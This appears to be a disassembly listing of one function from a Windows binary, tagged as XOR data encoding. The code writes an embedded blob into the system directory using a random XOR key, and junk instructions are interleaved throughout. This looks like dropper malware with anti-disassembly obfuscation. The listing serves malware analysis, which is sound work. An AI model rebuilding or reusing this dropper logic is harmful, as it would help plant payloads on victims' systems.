Function at 0x4032f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
push edi
jle 0x402fa0
push edi
pop edi
jg 0x402fa0
hlt
jbe 0x402fac
push ax
pop ax
ja 0x402fac
push ebx
push esi
clc
sal byte [ebx], 0xdb
xor ebx, ebx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x12f]
mov byte [ebp - 0x130], bl
mov byte [ebp - 0x234], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x233]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
js 0x402fed
mov bh, bh
jns 0x402fed
xchg dword [ebp - 0x2337b], ecx
jmp [eax + 4]
lea eax, [ebp - 0x234]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x234]
push ecx
push edx
lea eax, [ebp - 0x130]
push 0x406044
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
jbe 0x403027
mov bx, bx
mov esi, esi
ja 0x403027
invalid
lea ecx, [ebp - 0x130]
push 0x406058
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 0x18
cmp eax, ebx
mov dword [ebp - 0x28], eax
jne 0x40304c
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jb 0x40306b
nop
nop
jae 0x40306b
jns 0x4030d0
push ds
inc eax
mov byte [0xb6481f96], al
and ah, byte [edi - 0x19]
lodsb al, byte [esi]
std
fmul st(5)
mov word [edx + 8], gs
push 8
push 0x406094
push 0x7260
push 0x4062e4
call fcn.004033c0
add esp, 0x10
cmp eax, ebx
mov dword [ebp - 0x2c], eax
jne 0x403094
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edx
cmp dl, 0
xor dh, 0x1d
test dh, 0x7a
cmp dl, 0x6a
test dh, 0x6e
cmp edx, 0x7ad6
and dl, 0x55
test cl, dh
pop edx
mov dword [ebp - 4], 0xfac35
push ebx
xor bh, al
xor bh, bh
xor bl, bh
xor bl, 0x7c
mov bx, ax
test ch, bh
dec ebx
pop ebx
mov eax, dword [0x418550]
test eax, eax
je 0x4030d8
pop es
mov dword [ebp - 4], 0xfacef
push edx
test dl, 0x49
inc dx
and dx, dx
xor dl, dh
sub edx, eax
test dh, 0x32
sub dx, bx
mov edx, 0x684d
pop edx
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x23]
mov byte [ebp - 0x24], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.MSVCRT.dll_rand]
xor esi, esi
call edi
and eax, 0x800000ff
jns 0x40311c
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp + esi - 0x24], al
inc esi
cmp esi, 0x20
jb 0x40310c
mov ebx, dword [ebp - 0x2c]
mov ecx, 8
lea esi, [ebp - 0x24]
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
push edx
xor dx, 0x36b3
pop edx
mov eax, dword [ebp + 0xc]
lea edx, [ebx + 0x20]
push edx
push 0x20
push eax
lea ecx, [ebp - 0x24]
push 0x20
push ecx
call 0x4032f0
add esp, 0x14
push eax
push edx
sub ah, al
xor dx, 0x355b
pop edx
pop eax
mov eax, dword [ebp + 0x10]
lea edx, [ebx + 0x60]
push edx
push 0x20
push eax
lea ecx, [ebp - 0x24]
push 0x20
push ecx
call 0x4032f0
add esp, 0x14
push edx
sub edx, edi
and dh, dh
cmp dl, ah
mov edx, 0x165c
cmp dl, dl
add edx, ecx
and edx, edx
pop edx
mov eax, dword [ebp + 0x14]
lea edx, [ebx + 0xa0]
push edx
push 0x20
push eax
lea ecx, [ebp - 0x24]
push 0x20
push ecx
call 0x4032f0
add esp, 0x14
push ecx
push edx
push ax
cmp dh, 0xe
cmp dh, 0xe
pop ax
pop edx
pop ecx
add ebx, 0xe0
lea edx, [ebp - 4]
push ebx
push 4
push edx
lea eax, [ebp - 0x24]
push 0x20
push eax
call fcn.00403450
add esp, 0x14
push edx
or dh, 0xe
cmp dh, ch
pop edx
push 0x7260
push 0x4062e4
call fcn.00402ee0
je 0x4031f7
push edi
mov di, 0x7d9e
pop edi
jne 0x4031f7
sbb dword [edi], ebx
outsb dx, byte [esi]
xchg ecx, eax
loope 0x40326f
mov al, 0x7b
mov esi, dword [ebp - 0x28]
push esi
push 0x7260
push 1
push 0x4062e4
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
jb 0x403235
nop
nop
mov bx, bx
jae 0x403235
ljmp 0x9cfb:0x4cc666b7
lea ecx, [ebp - 0x130]
push ecx
call fcn.00402670
add esp, 0x20
push eax
push ecx
sub cl, cl
sub ch, 0x2f
xor ecx, edi
pop ecx
pop eax
mov esi, dword [ebp + 8]
lea edx, [ebp - 0x130]
push edx
push esi
call fcn.004028f0
add esp, 8
test eax, eax
jne 0x40326d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
js 0x403290
sbb eax, 0x66000000
push edx
push dx
pop dx
jns 0x403290
aas
jo 0x40329d
retf 0xda59
push esi
call fcn.00402220
add esp, 4
test eax, eax
jne 0x4032a4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jp 0x4032b8
mov eax, eax
xchg si, si
jnp 0x4032b8
add al, 0x46
shl dword [ebx], cl
xor al, 0xb6
adc ah, byte [0x820f4deb]
push ds
add byte [eax], al
add byte [edx - 0x6f247413], cl
jb 0x4032dc
mov ch, ch
mov ebx, ebx
nop
nop
jae 0x4032dc
daa
fcmovb st(0), st(0)
mov esp, 0xfce1526f
add al, 0xd2
out 0x95, eax
jae 0x4032ec
mov edx, 0x5e5ff8a4
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
nop
push ebp
mov ebp, esp
push ebx
push esi
push edi
jbe 0x403310
push esi
pop esi
ja 0x403310
and al, 0x3e
mov edi, 0x1a4b5242
out dx, al
pop ebx
inc ebp
sub dword [edx + edx*2], eax
push edx
xor dx, 0x36b3
pop edx
mov edi, dword [ebp + 0x14]
jbe 0x403330
push edi
pop edi
ja 0x403330
sbb ah, ch
cmp edi, esp
inc edi
pop ecx
inc eax
sub dword [eax + 0xd], esi
jo 0x40333f
push esi
pop esi
jno 0x40333f
jno 0x403339
inc ecx
in al, 0x48
call 0x337755d2
test byte [ebp - 0x46be8101], 1
add byte [eax], al
add byte [ebx + 0x7df799c1], cl
or al, 0x8b
inc ebp
or byte [edx + 0x48d021c], cl
aas
xor esi, esi
test edi, edi
jle 0x403386
mov ecx, 1
mov eax, ecx
cdq
idiv dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov bl, byte [edx + eax]
lea eax, [edi + edi]
xor bl, al
lea eax, [ecx - 1]
cdq
idiv dword [ebp + 0xc]
mov eax, dword [ebp + 8]
add ecx, 2
mov dl, byte [edx + eax]
mov eax, dword [ebp + 0x10]
xor dl, byte [esi + eax]
lea eax, [edi + edi]
xor dl, al
mov eax, dword [ebp + 0x18]
inc esi
mov byte [eax + ecx - 3], dl
mov byte [ecx + eax - 2], bl
cmp esi, edi
jl 0x40334a
jl 0x403398
push ax
mov al, 0x22
pop ax
jge 0x403398
popal
test al, 0x7f
out 0x1a, eax
scasb al, byte es:[edi]
sbb eax, 0x6619743e
push ebx
je 0x4033b3
push bx
mov bl, 0xd
pop bx
jne 0x4033b3
jbe 0x40341a
fisub word [ecx + eax*8 - 0x642a330]
fdiv dword [esi - 0x11]
lodsd eax, dword [esi]
push ss
and byte [edi + 0x5e], bl
pop edi
pop esi
pop ebx
pop ebp
ret
mov cl, byte [ebp + 0xb]
mov bl, byte [eax]
cmp bl, cl
jne 0x40342c
lea ecx, [esi - 1]
mov esi, dword [ebp + 0x10]
xor ebx, ebx
lea edi, [esi + 1]
lea esi, [eax + 1]
repe cmpsb byte [esi], byte es:[edi]
je 0x403446
mov esi, dword [ebp + 0x14]
inc eax
cmp eax, edx
jbe 0x40340e
jo 0x403444
nop
nop
mov ecx, ecx
jno 0x403444
and edi, dword ss:[esi]
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret